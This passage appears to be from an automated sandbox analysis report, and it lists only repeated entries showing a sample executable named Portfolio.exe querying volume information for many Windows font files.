Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\segoeuii.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\seguisli.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\seguili.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\seguisbi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\segoeuiz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\seguibl.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\seguibli.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\seguiemj.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\seguihis.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\simsun.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\simsunb.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\Sitka.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\SitkaI.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\SitkaB.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\SitkaZ.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\sylfaen.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\symbol.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\tahoma.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\tahomabd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\trebuc.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\trebucit.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\trebucbd.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\trebucbi.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\webdings.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\wingding.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\YuGothR.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\YuGothM.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\YuGothL.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\YuGothB.ttc VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\holomdl2.ttf VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\CENTURY.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\LEELAWAD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\LEELAWDB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\MSUIGHUR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\MSUIGHUB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\WINGDNG2.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\WINGDNG3.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\TEMPSITC.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\PRISTINA.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\PAPYRUS.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\MISTRAL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\LHANDW.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\ITCKRIST.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\JUICE___.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\FRSCRIPT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\FREESCPT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\BRADHITC.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\OUTLOOK.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\BKANT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\ANTQUAI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\ANTQUAB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\ANTQUABI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\GARA.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\GARAIT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\GARABD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\MTCORSVA.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\GOTHIC.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\GOTHICI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\GOTHICB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\GOTHICBI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\ALGER.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\BASKVILL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\BAUHS93.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\BELL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\BELLI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\BELLB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\BRLNSR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\BRLNSDB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\BRLNSB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\BERNHC.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\BOD_PSTC.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\BRITANIC.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\BROADW.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\BRUSHSCI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\CALIFR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\CALIFI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\CALIFB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\CENTAUR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\CHILLER.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\COLONNA.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\COOPBL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\FTLTLT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\HARLOWSI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\HARNGTON.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\HTOWERT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\HTOWERTI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\JOKERMAN.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\KUNSTLER.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\LBRITE.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\LBRITED.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\LBRITEI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\LBRITEDI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\LCALLIG.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\LFAX.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\LFAXD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\LFAXI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\LFAXDI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\MAGNETOB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\MATURASC.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\MOD20.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\NIAGENG.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\PLAYBILL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\POORICH.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\RAVIE.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\INFROMAN.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\SHOWG.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\SNAP____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\STENCIL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\LATINWD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\TCM_____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\TCMI____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\TCBI____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\TCCM____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\TCCB____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\TCCEB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\SCRIPTBL.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\ROCK.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\ROCKEB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\ROCC____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\ROCCB___.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\PERTILI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\PERTIBD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\PERI____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\PERB____.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\PALSCRI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\OCRAEXT.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\MAIAN.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\LTYPE.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\LTYPEO.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\LTYPEB.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\LTYPEBO.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\LSANS.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\LSANSD.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\LSANSI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\LSANSDI.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\IMPRISHA.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\HATTEN.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\GOUDYSTO.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\GOUDOS.TTF VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\Portfolio.exe Queries volume information: C:\Windows\Fonts\GOUDOSI.TTF VolumeInformation Jump to behavior
